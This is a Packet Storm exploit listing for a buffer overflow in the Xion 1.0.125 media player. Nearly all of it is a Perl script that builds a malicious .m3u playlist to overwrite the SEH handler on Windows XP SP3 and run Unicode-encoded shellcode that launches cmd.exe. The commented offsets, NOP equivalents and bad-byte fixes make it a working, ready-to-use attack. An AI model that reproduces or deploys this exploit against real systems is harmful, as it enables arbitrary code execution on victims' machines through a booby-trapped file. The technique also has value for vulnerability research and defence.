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Xion 1.0.125 Buffer Overflow

🗓️ 06 Mar 2018 00:00:00Reported by James AndersonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Xion 1.0.125 Buffer Overflow, Execute Code, Local SEH-based Unicode The aVenetiana Exploit, Win NT 5.1.2600 EN: Windows XP SP3 Eng Pro, Intel x86-3

Code
`#!/usr/bin/perl  
# ########################################################################  
# Title: Xion 1.0.125 (.m3u File) Local SEH-based Unicode The aVenetiana Exploit  
# Vulnerability Type: Execute Code, Overflow UTF-16LE buffer, Memory corruption  
# Date: Feb 18, 2018  
# Author: James Anderson (synthetic)  
# Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji samir) Published: 2010-07-31  
# Exploit mitigation: There is no /SAFESEH, SEHOP, /GS, DEP, ASLR  
# About: The technique is taken from that paper: Creating Arbitrary Shellcode In Unicode Expanded Strings Chris Anley  
# Tested on: Win NT 5.1.2600 EN: Windows XP SP3 Eng Pro, Intel x86-32  
# ########################################################################  
# _ _ _ _   
# ___ _ _ _ __ | |_| |__ ___| |_(_) ___   
# / __| | | | '_ \| __| '_ \ / _ \ __| |/ __|  
# \__ \ |_| | | | | |_| | | | __/ |_| | (__   
# |___/\__, |_| |_|\__|_| |_|\___|\__|_|\___|  
# |___/   
#  
# ########################################################################  
  
my $path = "/media/s4/DragonR.m3u";  
  
my $buffer_length = 5000;  
my $suboffset = 0x104;  
my $NOP1 = "\x6F"; # add [edi], ch  
my $NOP2 = $NOP1."\x59"; # add [edi], ch # pop ecx  
  
# [0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Offset to SEH frame  
my $crash = "A" x 260;  
# [1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Set SEH frame  
$crash .= "\x61".$NOP1; # popad # NOP-eq; nSEH; popad puts an address close to the buffer in EAX  
$crash .= "\x79\x41"; # pop r32 pop r32 ret; SEh. address for no /SAFESEH / SEHOP, DEP, ASLR  
  
my $offset_to_payload = length($crash);  
  
# [2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ settingcode.   
# [2.0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ set ecx=2 and eax -> [shellcode]  
$crash .= $NOP1; # NOP-eq  
$crash .= "\x6a\x59"; # push 0 # pop ecx  
$crash .= $NOP1; # NOP-eq  
$crash .= "\x41"; # inc ecx  
$crash .= "\xCC"; # add ah, cl # eax = eax + 0x100  
$crash .= $NOP1; # NOP-eq  
$crash .= "\x41"; # inc ecx  
$crash .= "\xC8"; # add al, cl  
$crash .= "\xC8"; # add al, cl # eax = eax+2+2;# and as a result: eax = eax + $suboffset(0x104) # EAX -> SC;  
  
# [2.1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ we're correcting the first BAD character   
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x3b\x41"; # mov edx, 41003b00  
$crash .= "\x30"; # add [eax],dh   
$crash .= $NOP1; # NOP-eq  
  
# [2.2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the second byte and the first 00  
$crash .= "\x40"; # inc eax  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\xec\x41"; # mov edx, 4100ec00  
$crash .= "\x30"; # add [eax],dh   
  
# [2.3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the fourth byte 00. BAD char  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x45\x41"; # mov edx, 41004500   
$crash .= "\x30"; # add [eax],dh  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x46\x41"; # mov edx, 41004600   
$crash .= "\x30"; # add [eax],dh  
  
# [2.4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x68\x41"; # mov edx, 41006800   
$crash .= "\x30"; # add [eax],dh   
  
# [2.5] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x78\x41"; # mov edx, 41007800   
$crash .= "\x30"; # add [eax],dh   
  
# [2.6] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x2F\x41"; # mov edx, 41002F00   
$crash .= "\x30"; # add [eax],dh   
  
# [2.7] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x63\x41"; # mov edx, 41006300   
$crash .= "\x30"; # add [eax],dh   
  
# [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x64\x41"; # mov edx, 41006400   
$crash .= "\x30"; # add [eax],dh   
  
# [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x8d\x41"; # mov edx, 41008d00   
$crash .= "\x30"; # add [eax],dh   
  
# [2.9] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\xf8\x41"; # mov edx, 4100f800   
$crash .= "\x30"; # add [eax],dh  
  
# [2.10] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\xb8\x41"; # mov edx, 4100b800   
$crash .= "\x30"; # add [eax],dh  
  
# [2.11] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x49\x41"; # mov edx, 41004900   
$crash .= "\x30"; # add [eax],dh  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x4A\x41"; # mov edx, 41004A00   
$crash .= "\x30"; # add [eax],dh  
  
# [2.12] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\x77\x41"; # mov edx, 41007700   
$crash .= "\x30"; # add [eax],dh  
  
# [2.13] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$crash .= "\xC8"; # add al, cl # eq eax + 2  
$crash .= $NOP1; # NOP-eq  
$crash .= "\xba\xd0\x41"; # mov edx, 4100d000   
$crash .= "\x30"; # add [eax],dh  
  
# [3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # -4: one more NOP below # -8: sizeof(SEHframe)   
# *2: for UTF-16 # /4: 2 for UTF-16 and 2 for the 2-byte-NOP  
$crash .= $NOP2 x (($suboffset - 4 - 8 - (length($crash)*2 - $offset_to_payload*2))/4); # NOP-eq + pop ecx  
$crash .= $NOP1."\x6A"; # NOP1 + NOP1-eq (push 0)  
  
  
# [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode. left - ^jalousie; right - actual shellcode that will be crafted. CMD=cmd.exe  
my $shellcode =  
"\x50". # "\x8b". # # BAD BYTE  
# "\xec". # 0  
"\x55". # "\x55".  
# "\x8b". # 0 # BAD BYTE   
"\xec". # "\xec".  
# "\x68". # 0  
"\x65". # "\x65".  
# "\x78". # 0  
"\x65". # "\x65".  
# "\x2F". # 0  
"\x68". # "\x68".  
# "\x63". # 0  
"\x6d". # "\x6d".  
# "\x64". # 0  
"\x2e". # "\x2e".  
# "\x8d". # 0  
"\x45". # "\x45".  
# "\xf8". # 0  
"\x50". # "\x50".  
# "\xb8". # 0  
"\xc7". # "\xc7".  
# "\x93". # 0 # BAD BYTE   
"\xc2". # "\xc2".  
# "\x77". # 0  
"\xff"; # "\xff".  
# "\xd0"; # 0  
  
$crash .= $shellcode;  
  
$crash .= "C" x ($buffer_length - length($crash));  
open(myfile, ">$path");   
print myfile $crash;  
  
`

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